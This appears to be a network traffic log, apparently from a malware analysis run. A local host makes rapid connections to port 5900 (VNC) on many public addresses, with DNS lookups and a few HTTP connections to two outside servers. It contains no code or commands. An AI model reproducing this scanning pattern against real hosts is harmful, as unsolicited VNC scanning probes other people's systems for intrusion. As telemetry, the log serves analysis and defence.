Oct 30, 2018 14:44:54.818938017 CET	50877	5900	192.168.1.81	193.226.100.26
Oct 30, 2018 14:44:54.839487076 CET	50970	5900	192.168.1.81	155.91.231.144
Oct 30, 2018 14:44:54.873445988 CET	50971	5900	192.168.1.81	69.52.10.26
Oct 30, 2018 14:44:54.899790049 CET	64965	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:54.903851986 CET	50972	5900	192.168.1.81	40.161.85.71
Oct 30, 2018 14:44:54.927906036 CET	50879	5900	192.168.1.81	78.26.125.156
Oct 30, 2018 14:44:54.932996035 CET	50973	5900	192.168.1.81	130.74.44.201
Oct 30, 2018 14:44:54.936561108 CET	53	64965	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:54.943674088 CET	50880	5900	192.168.1.81	123.39.67.188
Oct 30, 2018 14:44:54.985101938 CET	50974	5900	192.168.1.81	178.54.68.245
Oct 30, 2018 14:44:54.986866951 CET	5900	50965	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:54.987036943 CET	50965	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:55.038963079 CET	50975	5900	192.168.1.81	51.248.195.253
Oct 30, 2018 14:44:55.068660975 CET	50881	5900	192.168.1.81	52.11.255.118
Oct 30, 2018 14:44:55.068749905 CET	50882	5900	192.168.1.81	43.89.24.26
Oct 30, 2018 14:44:55.068787098 CET	50883	5900	192.168.1.81	40.36.35.169
Oct 30, 2018 14:44:55.073072910 CET	50976	5900	192.168.1.81	92.80.24.155
Oct 30, 2018 14:44:55.103708029 CET	50977	5900	192.168.1.81	178.231.178.187
Oct 30, 2018 14:44:55.140422106 CET	50978	5900	192.168.1.81	195.58.200.10
Oct 30, 2018 14:44:55.162602901 CET	50884	5900	192.168.1.81	32.82.177.180
Oct 30, 2018 14:44:55.162655115 CET	50885	5900	192.168.1.81	92.237.7.131
Oct 30, 2018 14:44:55.162687063 CET	50886	5900	192.168.1.81	201.218.232.116
Oct 30, 2018 14:44:55.169430017 CET	50979	5900	192.168.1.81	177.187.74.98
Oct 30, 2018 14:44:55.198621035 CET	50980	5900	192.168.1.81	170.71.146.130
Oct 30, 2018 14:44:55.230221987 CET	50981	5900	192.168.1.81	30.135.168.20
Oct 30, 2018 14:44:55.260611057 CET	50982	5900	192.168.1.81	63.71.246.94
Oct 30, 2018 14:44:55.271339893 CET	50887	5900	192.168.1.81	63.174.169.140
Oct 30, 2018 14:44:55.271424055 CET	50888	5900	192.168.1.81	167.22.20.28
Oct 30, 2018 14:44:55.271461964 CET	50889	5900	192.168.1.81	126.5.217.138
Oct 30, 2018 14:44:55.271493912 CET	50890	5900	192.168.1.81	74.157.166.20
Oct 30, 2018 14:44:55.278959036 CET	5900	50965	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:55.279186010 CET	50965	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:55.293478966 CET	50983	5900	192.168.1.81	67.217.93.170
Oct 30, 2018 14:44:55.312521935 CET	50891	5900	192.168.1.81	63.137.131.152
Oct 30, 2018 14:44:55.322417974 CET	50984	5900	192.168.1.81	159.31.10.75
Oct 30, 2018 14:44:55.357641935 CET	50985	5900	192.168.1.81	99.202.101.51
Oct 30, 2018 14:44:55.365066051 CET	50892	5900	192.168.1.81	202.49.34.198
Oct 30, 2018 14:44:55.384521961 CET	50986	5900	192.168.1.81	70.97.25.148
Oct 30, 2018 14:44:55.416413069 CET	50987	5900	192.168.1.81	71.169.238.133
Oct 30, 2018 14:44:55.444078922 CET	52658	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:55.446273088 CET	50988	5900	192.168.1.81	88.125.20.255
Oct 30, 2018 14:44:55.459002972 CET	50893	5900	192.168.1.81	37.138.198.66
Oct 30, 2018 14:44:55.459063053 CET	50894	5900	192.168.1.81	152.243.87.9
Oct 30, 2018 14:44:55.459085941 CET	50895	5900	192.168.1.81	110.204.222.187
Oct 30, 2018 14:44:55.459105968 CET	50896	5900	192.168.1.81	83.60.244.148
Oct 30, 2018 14:44:55.477778912 CET	50989	5900	192.168.1.81	174.175.118.100
Oct 30, 2018 14:44:55.490294933 CET	50897	5900	192.168.1.81	92.230.223.160
Oct 30, 2018 14:44:55.537395954 CET	50898	5900	192.168.1.81	31.243.234.147
Oct 30, 2018 14:44:55.541712046 CET	50990	5900	192.168.1.81	150.72.42.179
Oct 30, 2018 14:44:55.564903021 CET	53	52658	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:55.568948984 CET	50991	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:55.572221994 CET	5900	50965	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:55.572483063 CET	50965	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:55.573488951 CET	50992	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:55.574022055 CET	5900	50965	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:55.574157953 CET	50965	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:55.575162888 CET	50993	5900	192.168.1.81	47.97.37.182
Oct 30, 2018 14:44:55.584399939 CET	50900	5900	192.168.1.81	153.129.22.60
Oct 30, 2018 14:44:55.600078106 CET	50901	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:44:55.603084087 CET	50994	5900	192.168.1.81	57.102.43.52
Oct 30, 2018 14:44:55.615758896 CET	50902	5900	192.168.1.81	31.135.143.40
Oct 30, 2018 14:44:55.621222973 CET	80	50991	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:55.621490002 CET	50991	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:55.622570992 CET	50991	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:55.634984016 CET	50995	5900	192.168.1.81	135.96.50.243
Oct 30, 2018 14:44:55.661955118 CET	50903	5900	192.168.1.81	125.201.200.248
Oct 30, 2018 14:44:55.665726900 CET	50996	5900	192.168.1.81	177.235.138.94
Oct 30, 2018 14:44:55.674793959 CET	80	50991	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:55.676042080 CET	80	50991	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:55.676079035 CET	80	50991	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:55.676286936 CET	50991	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:55.683052063 CET	50991	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:55.684951067 CET	50997	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:55.693330050 CET	50904	5900	192.168.1.81	161.52.232.71
Oct 30, 2018 14:44:55.695986032 CET	50998	5900	192.168.1.81	187.118.166.219
Oct 30, 2018 14:44:55.708980083 CET	50905	5900	192.168.1.81	43.64.17.162
Oct 30, 2018 14:44:55.728202105 CET	50999	5900	192.168.1.81	88.159.170.188
Oct 30, 2018 14:44:55.735382080 CET	80	50991	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:55.737603903 CET	80	50997	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:55.737802029 CET	50997	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:55.738718987 CET	50997	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:55.740322113 CET	50906	5900	192.168.1.81	60.164.34.61
Oct 30, 2018 14:44:55.759597063 CET	51000	5900	192.168.1.81	163.210.60.13
Oct 30, 2018 14:44:55.771651983 CET	50907	5900	192.168.1.81	31.2.226.205
Oct 30, 2018 14:44:55.790765047 CET	51001	5900	192.168.1.81	97.179.101.228
Oct 30, 2018 14:44:55.791384935 CET	80	50997	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:55.791785955 CET	80	50997	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:55.791815996 CET	80	50997	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:55.791961908 CET	50997	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:55.793930054 CET	50997	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:55.803497076 CET	50908	5900	192.168.1.81	79.64.55.71
Oct 30, 2018 14:44:55.806869030 CET	64829	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:55.833918095 CET	50909	5900	192.168.1.81	37.136.1.35
Oct 30, 2018 14:44:55.846966028 CET	80	50997	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:55.853259087 CET	51002	5900	192.168.1.81	197.92.2.245
Oct 30, 2018 14:44:55.866836071 CET	50910	5900	192.168.1.81	99.152.220.109
Oct 30, 2018 14:44:55.868797064 CET	5900	50992	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:55.869021893 CET	50992	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:55.884874105 CET	51003	5900	192.168.1.81	190.13.2.140
Oct 30, 2018 14:44:55.896517992 CET	50911	5900	192.168.1.81	65.226.67.76
Oct 30, 2018 14:44:55.916774988 CET	51004	5900	192.168.1.81	194.244.1.172
Oct 30, 2018 14:44:55.929802895 CET	53	64829	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:55.931900978 CET	51005	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:55.943473101 CET	50912	5900	192.168.1.81	135.40.230.174
Oct 30, 2018 14:44:55.946228981 CET	51006	5900	192.168.1.81	138.41.48.212
Oct 30, 2018 14:44:55.959188938 CET	50913	5900	192.168.1.81	188.134.164.103
Oct 30, 2018 14:44:55.984304905 CET	80	51005	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:55.984617949 CET	51005	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:55.985780954 CET	51005	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:55.990530968 CET	50914	5900	192.168.1.81	117.174.132.72
Oct 30, 2018 14:44:56.009604931 CET	51007	5900	192.168.1.81	167.119.44.32
Oct 30, 2018 14:44:56.021996021 CET	50915	5900	192.168.1.81	181.177.160.156
Oct 30, 2018 14:44:56.038008928 CET	80	51005	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:56.039002895 CET	80	51005	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:56.039045095 CET	80	51005	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:56.039174080 CET	51005	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:56.041055918 CET	51005	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:56.044749022 CET	51008	5900	192.168.1.81	43.16.157.239
Oct 30, 2018 14:44:56.053311110 CET	50916	5900	192.168.1.81	83.153.72.136
Oct 30, 2018 14:44:56.076850891 CET	51009	5900	192.168.1.81	59.77.205.152
Oct 30, 2018 14:44:56.094650030 CET	80	51005	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:56.098903894 CET	5900	51003	190.13.2.140	192.168.1.81
Oct 30, 2018 14:44:56.099828005 CET	50917	5900	192.168.1.81	185.82.105.48
Oct 30, 2018 14:44:56.104372978 CET	51010	5900	192.168.1.81	110.80.63.143
Oct 30, 2018 14:44:56.131170988 CET	50918	5900	192.168.1.81	56.243.122.44
Oct 30, 2018 14:44:56.146840096 CET	50919	5900	192.168.1.81	63.11.102.46
Oct 30, 2018 14:44:56.161176920 CET	5900	50992	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:56.161384106 CET	50992	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:56.167334080 CET	51011	5900	192.168.1.81	200.255.140.231
Oct 30, 2018 14:44:56.193914890 CET	50920	5900	192.168.1.81	104.112.201.214
Oct 30, 2018 14:44:56.197391987 CET	51012	5900	192.168.1.81	171.186.138.144
Oct 30, 2018 14:44:56.224603891 CET	50921	5900	192.168.1.81	117.189.129.168
Oct 30, 2018 14:44:56.228214025 CET	51013	5900	192.168.1.81	122.80.39.77
Oct 30, 2018 14:44:56.259885073 CET	51014	5900	192.168.1.81	164.233.70.8
Oct 30, 2018 14:44:56.271686077 CET	50922	5900	192.168.1.81	160.2.64.146
Oct 30, 2018 14:44:56.271754980 CET	50923	5900	192.168.1.81	197.174.75.126
Oct 30, 2018 14:44:56.291686058 CET	51015	5900	192.168.1.81	148.104.45.72
Oct 30, 2018 14:44:56.318694115 CET	50924	5900	192.168.1.81	191.125.136.98
Oct 30, 2018 14:44:56.324008942 CET	51016	5900	192.168.1.81	112.213.180.231
Oct 30, 2018 14:44:56.349456072 CET	50925	5900	192.168.1.81	185.43.235.183
Oct 30, 2018 14:44:56.352096081 CET	51017	5900	192.168.1.81	200.236.201.212
Oct 30, 2018 14:44:56.365128040 CET	50926	5900	192.168.1.81	58.84.13.228
Oct 30, 2018 14:44:56.383086920 CET	51018	5900	192.168.1.81	120.107.137.255
Oct 30, 2018 14:44:56.412389040 CET	50927	5900	192.168.1.81	204.208.95.111
Oct 30, 2018 14:44:56.416064024 CET	51019	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:44:56.427932024 CET	50928	5900	192.168.1.81	137.217.91.136
Oct 30, 2018 14:44:56.453675985 CET	5900	50992	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:56.453723907 CET	5900	50992	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:56.453813076 CET	5900	50992	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:56.453946114 CET	50992	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:56.454102993 CET	50992	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:56.478388071 CET	51020	5900	192.168.1.81	138.104.149.76
Oct 30, 2018 14:44:56.506398916 CET	50929	5900	192.168.1.81	142.213.139.78
Oct 30, 2018 14:44:56.512248039 CET	51021	5900	192.168.1.81	206.21.252.117
Oct 30, 2018 14:44:56.552531004 CET	59891	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:56.556077957 CET	51022	5900	192.168.1.81	56.101.97.7
Oct 30, 2018 14:44:56.563359976 CET	5900	51017	200.236.201.212	192.168.1.81
Oct 30, 2018 14:44:56.573477030 CET	51023	5900	192.168.1.81	72.126.225.197
Oct 30, 2018 14:44:56.604446888 CET	51024	5900	192.168.1.81	193.229.76.216
Oct 30, 2018 14:44:56.633142948 CET	51025	5900	192.168.1.81	148.89.92.40
Oct 30, 2018 14:44:56.668364048 CET	51026	5900	192.168.1.81	70.242.57.198
Oct 30, 2018 14:44:56.678008080 CET	50930	5900	192.168.1.81	87.24.221.202
Oct 30, 2018 14:44:56.678059101 CET	51003	5900	192.168.1.81	190.13.2.140
Oct 30, 2018 14:44:56.678086996 CET	50931	5900	192.168.1.81	180.106.156.20
Oct 30, 2018 14:44:56.678105116 CET	50932	5900	192.168.1.81	203.56.104.142
Oct 30, 2018 14:44:56.678124905 CET	50933	5900	192.168.1.81	157.39.53.181
Oct 30, 2018 14:44:56.678143024 CET	50934	5900	192.168.1.81	77.119.8.250
Oct 30, 2018 14:44:56.686451912 CET	53	59891	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:56.697717905 CET	51027	5900	192.168.1.81	94.228.96.155
Oct 30, 2018 14:44:56.728703022 CET	51028	5900	192.168.1.81	170.180.157.252
Oct 30, 2018 14:44:56.745956898 CET	5900	50992	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:56.746140003 CET	50992	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:56.752789021 CET	5900	51019	120.23.229.181	192.168.1.81
Oct 30, 2018 14:44:56.752974987 CET	51019	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:44:56.753281116 CET	51019	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:44:56.754264116 CET	51029	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:44:56.760582924 CET	51030	5900	192.168.1.81	177.171.185.224
Oct 30, 2018 14:44:56.771368027 CET	50935	5900	192.168.1.81	194.136.244.4
Oct 30, 2018 14:44:56.771452904 CET	50936	5900	192.168.1.81	133.177.179.238
Oct 30, 2018 14:44:56.771485090 CET	50937	5900	192.168.1.81	199.2.62.228
Oct 30, 2018 14:44:56.791181087 CET	51031	5900	192.168.1.81	191.241.251.255
Oct 30, 2018 14:44:56.822081089 CET	51032	5900	192.168.1.81	204.11.176.229
Oct 30, 2018 14:44:56.834059000 CET	50938	5900	192.168.1.81	180.155.226.164
Oct 30, 2018 14:44:56.853132963 CET	51033	5900	192.168.1.81	198.30.188.98
Oct 30, 2018 14:44:56.884649992 CET	51034	5900	192.168.1.81	116.204.9.76
Oct 30, 2018 14:44:56.890820980 CET	5900	51003	190.13.2.140	192.168.1.81
Oct 30, 2018 14:44:56.896738052 CET	50939	5900	192.168.1.81	34.26.12.74
Oct 30, 2018 14:44:56.916027069 CET	51035	5900	192.168.1.81	171.248.69.17
Oct 30, 2018 14:44:56.943847895 CET	50940	5900	192.168.1.81	90.162.54.180
Oct 30, 2018 14:44:56.947654963 CET	51036	5900	192.168.1.81	84.72.193.123
Oct 30, 2018 14:44:56.961653948 CET	50941	5900	192.168.1.81	111.199.252.130
Oct 30, 2018 14:44:56.979357004 CET	51037	5900	192.168.1.81	194.186.111.173
Oct 30, 2018 14:44:56.990161896 CET	50942	5900	192.168.1.81	129.206.194.156
Oct 30, 2018 14:44:57.010179996 CET	51038	5900	192.168.1.81	66.31.54.66
Oct 30, 2018 14:44:57.021488905 CET	50943	5900	192.168.1.81	209.59.37.31
Oct 30, 2018 14:44:57.041039944 CET	51039	5900	192.168.1.81	132.84.70.122
Oct 30, 2018 14:44:57.052851915 CET	50944	5900	192.168.1.81	171.149.154.66
Oct 30, 2018 14:44:57.068536997 CET	51017	5900	192.168.1.81	200.236.201.212
Oct 30, 2018 14:44:57.073513031 CET	51040	5900	192.168.1.81	71.254.255.9
Oct 30, 2018 14:44:57.077532053 CET	5900	51029	120.23.229.181	192.168.1.81
Oct 30, 2018 14:44:57.077799082 CET	51029	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:44:57.104692936 CET	51041	5900	192.168.1.81	180.189.153.80
Oct 30, 2018 14:44:57.116441011 CET	51042	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:57.131328106 CET	50945	5900	192.168.1.81	88.184.128.26
Oct 30, 2018 14:44:57.131412983 CET	50946	5900	192.168.1.81	140.254.111.61
Oct 30, 2018 14:44:57.147032976 CET	50947	5900	192.168.1.81	91.32.196.54
Oct 30, 2018 14:44:57.174078941 CET	51043	5900	192.168.1.81	166.83.91.174
Oct 30, 2018 14:44:57.177514076 CET	50948	5900	192.168.1.81	44.153.53.190
Oct 30, 2018 14:44:57.190901041 CET	52636	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:57.196408987 CET	51044	5900	192.168.1.81	90.230.99.227
Oct 30, 2018 14:44:57.206037998 CET	5900	51035	171.248.69.17	192.168.1.81
Oct 30, 2018 14:44:57.224525928 CET	50949	5900	192.168.1.81	171.235.100.40
Oct 30, 2018 14:44:57.227332115 CET	51045	5900	192.168.1.81	187.69.210.82
Oct 30, 2018 14:44:57.230895042 CET	53	52636	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:57.255965948 CET	50950	5900	192.168.1.81	171.134.75.3
Oct 30, 2018 14:44:57.260860920 CET	51046	5900	192.168.1.81	60.232.129.115
Oct 30, 2018 14:44:57.278208971 CET	5900	51017	200.236.201.212	192.168.1.81
Oct 30, 2018 14:44:57.287255049 CET	50951	5900	192.168.1.81	91.62.98.79
Oct 30, 2018 14:44:57.292076111 CET	51047	5900	192.168.1.81	131.24.155.98
Oct 30, 2018 14:44:57.302931070 CET	50952	5900	192.168.1.81	43.11.242.87
Oct 30, 2018 14:44:57.321563005 CET	51048	5900	192.168.1.81	102.98.1.84
Oct 30, 2018 14:44:57.350035906 CET	50953	5900	192.168.1.81	125.2.107.1
Oct 30, 2018 14:44:57.355338097 CET	51049	5900	192.168.1.81	93.47.116.40
Oct 30, 2018 14:44:57.381237030 CET	50954	5900	192.168.1.81	145.57.155.168
Oct 30, 2018 14:44:57.385668993 CET	51050	5900	192.168.1.81	78.22.207.151
Oct 30, 2018 14:44:57.396944046 CET	50955	5900	192.168.1.81	64.150.203.98
Oct 30, 2018 14:44:57.397063017 CET	51003	5900	192.168.1.81	190.13.2.140
Oct 30, 2018 14:44:57.419497967 CET	51051	5900	192.168.1.81	135.109.99.220
Oct 30, 2018 14:44:57.440596104 CET	5900	51042	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:57.440788984 CET	51042	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:57.443859100 CET	50956	5900	192.168.1.81	48.40.246.167
Oct 30, 2018 14:44:57.448709011 CET	51052	5900	192.168.1.81	99.74.31.234
Oct 30, 2018 14:44:57.475173950 CET	50957	5900	192.168.1.81	72.145.45.212
Oct 30, 2018 14:44:57.479634047 CET	51053	5900	192.168.1.81	84.226.37.128
Oct 30, 2018 14:44:57.505692005 CET	50958	5900	192.168.1.81	101.180.227.125
Oct 30, 2018 14:44:57.509999037 CET	51054	5900	192.168.1.81	139.2.124.180
Oct 30, 2018 14:44:57.521294117 CET	50959	5900	192.168.1.81	110.137.171.240
Oct 30, 2018 14:44:57.540688992 CET	51055	5900	192.168.1.81	120.141.235.199
Oct 30, 2018 14:44:57.552661896 CET	50960	5900	192.168.1.81	148.222.166.9
Oct 30, 2018 14:44:57.571243048 CET	51056	5900	192.168.1.81	203.64.60.205
Oct 30, 2018 14:44:57.583956957 CET	50961	5900	192.168.1.81	133.118.46.139
Oct 30, 2018 14:44:57.607552052 CET	51057	5900	192.168.1.81	76.36.240.19
Oct 30, 2018 14:44:57.609975100 CET	5900	51003	190.13.2.140	192.168.1.81
Oct 30, 2018 14:44:57.622699022 CET	50962	5900	192.168.1.81	205.171.242.183
Oct 30, 2018 14:44:57.634058952 CET	51058	5900	192.168.1.81	39.225.46.188
Oct 30, 2018 14:44:57.646900892 CET	50963	5900	192.168.1.81	206.159.159.215
Oct 30, 2018 14:44:57.668292046 CET	51059	5900	192.168.1.81	175.120.213.126
Oct 30, 2018 14:44:57.693797112 CET	50964	5900	192.168.1.81	48.29.64.99
Oct 30, 2018 14:44:57.709709883 CET	51035	5900	192.168.1.81	171.248.69.17
Oct 30, 2018 14:44:57.709765911 CET	50966	5900	192.168.1.81	188.29.233.140
Oct 30, 2018 14:44:57.745301008 CET	64725	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:57.747970104 CET	51060	5900	192.168.1.81	205.100.84.243
Oct 30, 2018 14:44:57.747998953 CET	5900	51042	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:57.748377085 CET	5900	51042	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:57.748559952 CET	51042	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:57.756139994 CET	50967	5900	192.168.1.81	123.57.246.70
Oct 30, 2018 14:44:57.762820005 CET	51061	5900	192.168.1.81	99.232.221.170
Oct 30, 2018 14:44:57.780819893 CET	53	64725	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:57.808638096 CET	51062	5900	192.168.1.81	156.196.60.222
Oct 30, 2018 14:44:57.838046074 CET	51063	5900	192.168.1.81	68.168.139.100
Oct 30, 2018 14:44:57.856069088 CET	51064	5900	192.168.1.81	58.143.202.95
Oct 30, 2018 14:44:57.865629911 CET	50968	5900	192.168.1.81	145.97.72.158
Oct 30, 2018 14:44:57.865664959 CET	51019	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:44:57.865684986 CET	51017	5900	192.168.1.81	200.236.201.212
Oct 30, 2018 14:44:57.865711927 CET	50969	5900	192.168.1.81	130.161.101.124
Oct 30, 2018 14:44:57.865727901 CET	50970	5900	192.168.1.81	155.91.231.144
Oct 30, 2018 14:44:57.884504080 CET	51065	5900	192.168.1.81	57.28.107.219
Oct 30, 2018 14:44:57.917674065 CET	51066	5900	192.168.1.81	160.107.66.152
Oct 30, 2018 14:44:57.947315931 CET	51067	5900	192.168.1.81	51.152.1.35
Oct 30, 2018 14:44:57.959095955 CET	50971	5900	192.168.1.81	69.52.10.26
Oct 30, 2018 14:44:57.959201097 CET	50972	5900	192.168.1.81	40.161.85.71
Oct 30, 2018 14:44:57.959230900 CET	50973	5900	192.168.1.81	130.74.44.201
Oct 30, 2018 14:44:57.979434013 CET	51068	5900	192.168.1.81	103.223.226.12
Oct 30, 2018 14:44:57.995156050 CET	5900	51035	171.248.69.17	192.168.1.81
Oct 30, 2018 14:44:58.009632111 CET	51069	5900	192.168.1.81	85.160.46.217
Oct 30, 2018 14:44:58.011639118 CET	5900	51063	68.168.139.100	192.168.1.81
Oct 30, 2018 14:44:58.042982101 CET	51070	5900	192.168.1.81	122.24.164.254
Oct 30, 2018 14:44:58.054536104 CET	5900	51042	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:58.055160999 CET	5900	51042	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:58.055201054 CET	5900	51042	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:58.055330038 CET	51042	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:58.055471897 CET	51042	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:58.056763887 CET	51071	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:58.068836927 CET	50974	5900	192.168.1.81	178.54.68.245
Oct 30, 2018 14:44:58.068916082 CET	50975	5900	192.168.1.81	51.248.195.253
Oct 30, 2018 14:44:58.068952084 CET	50976	5900	192.168.1.81	92.80.24.155
Oct 30, 2018 14:44:58.074467897 CET	51072	5900	192.168.1.81	113.47.157.102
Oct 30, 2018 14:44:58.076956987 CET	5900	51017	200.236.201.212	192.168.1.81
Oct 30, 2018 14:44:58.099540949 CET	50977	5900	192.168.1.81	178.231.178.187
Oct 30, 2018 14:44:58.104794979 CET	51073	5900	192.168.1.81	153.43.77.123
Oct 30, 2018 14:44:58.130918980 CET	50978	5900	192.168.1.81	195.58.200.10
Oct 30, 2018 14:44:58.136365891 CET	51074	5900	192.168.1.81	200.138.253.175
Oct 30, 2018 14:44:58.162297964 CET	50979	5900	192.168.1.81	177.187.74.98
Oct 30, 2018 14:44:58.190346003 CET	51075	5900	192.168.1.81	149.125.74.213
Oct 30, 2018 14:44:58.193327904 CET	50980	5900	192.168.1.81	170.71.146.130
Oct 30, 2018 14:44:58.210979939 CET	51076	5900	192.168.1.81	82.170.132.244
Oct 30, 2018 14:44:58.224698067 CET	50981	5900	192.168.1.81	30.135.168.20
Oct 30, 2018 14:44:58.243671894 CET	51077	5900	192.168.1.81	65.50.232.74
Oct 30, 2018 14:44:58.271728992 CET	50982	5900	192.168.1.81	63.71.246.94
Oct 30, 2018 14:44:58.287592888 CET	50983	5900	192.168.1.81	67.217.93.170
Oct 30, 2018 14:44:58.292757988 CET	57462	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:58.294835091 CET	51078	5900	192.168.1.81	48.175.203.176
Oct 30, 2018 14:44:58.306638956 CET	51079	5900	192.168.1.81	82.161.209.36
Oct 30, 2018 14:44:58.318960905 CET	50984	5900	192.168.1.81	159.31.10.75
Oct 30, 2018 14:44:58.325056076 CET	53	57462	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:58.361783028 CET	5900	51042	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:58.362023115 CET	51042	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:58.362211943 CET	5900	51071	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:58.362365007 CET	51071	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:58.365236998 CET	50985	5900	192.168.1.81	99.202.101.51
Oct 30, 2018 14:44:58.369371891 CET	51080	5900	192.168.1.81	80.241.90.253
Oct 30, 2018 14:44:58.396603107 CET	50986	5900	192.168.1.81	70.97.25.148
Oct 30, 2018 14:44:58.401232958 CET	51081	5900	192.168.1.81	125.117.171.84
Oct 30, 2018 14:44:58.412349939 CET	50987	5900	192.168.1.81	71.169.238.133
Oct 30, 2018 14:44:58.431843996 CET	51082	5900	192.168.1.81	195.173.164.131
Oct 30, 2018 14:44:58.443675041 CET	50988	5900	192.168.1.81	88.125.20.255
Oct 30, 2018 14:44:58.463198900 CET	51083	5900	192.168.1.81	153.206.95.39
Oct 30, 2018 14:44:58.490858078 CET	50989	5900	192.168.1.81	174.175.118.100
Oct 30, 2018 14:44:58.490937948 CET	51035	5900	192.168.1.81	171.248.69.17
Oct 30, 2018 14:44:58.494748116 CET	51084	5900	192.168.1.81	183.117.146.214
Oct 30, 2018 14:44:58.521466970 CET	51063	5900	192.168.1.81	68.168.139.100
Oct 30, 2018 14:44:58.525300980 CET	51085	5900	192.168.1.81	109.160.231.124
Oct 30, 2018 14:44:58.552921057 CET	50990	5900	192.168.1.81	150.72.42.179
Oct 30, 2018 14:44:58.557607889 CET	51086	5900	192.168.1.81	69.64.4.239
Oct 30, 2018 14:44:58.584219933 CET	50993	5900	192.168.1.81	47.97.37.182
Oct 30, 2018 14:44:58.584393024 CET	5900	51071	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:58.584825039 CET	5900	51071	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:58.585592031 CET	51071	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:58.589349031 CET	51087	5900	192.168.1.81	159.121.107.229
Oct 30, 2018 14:44:58.615463018 CET	50994	5900	192.168.1.81	57.102.43.52
Oct 30, 2018 14:44:58.617845058 CET	51088	5900	192.168.1.81	116.36.103.158
Oct 30, 2018 14:44:58.646858931 CET	50995	5900	192.168.1.81	135.96.50.243
Oct 30, 2018 14:44:58.649941921 CET	51089	5900	192.168.1.81	55.168.144.76
Oct 30, 2018 14:44:58.662558079 CET	50996	5900	192.168.1.81	177.235.138.94
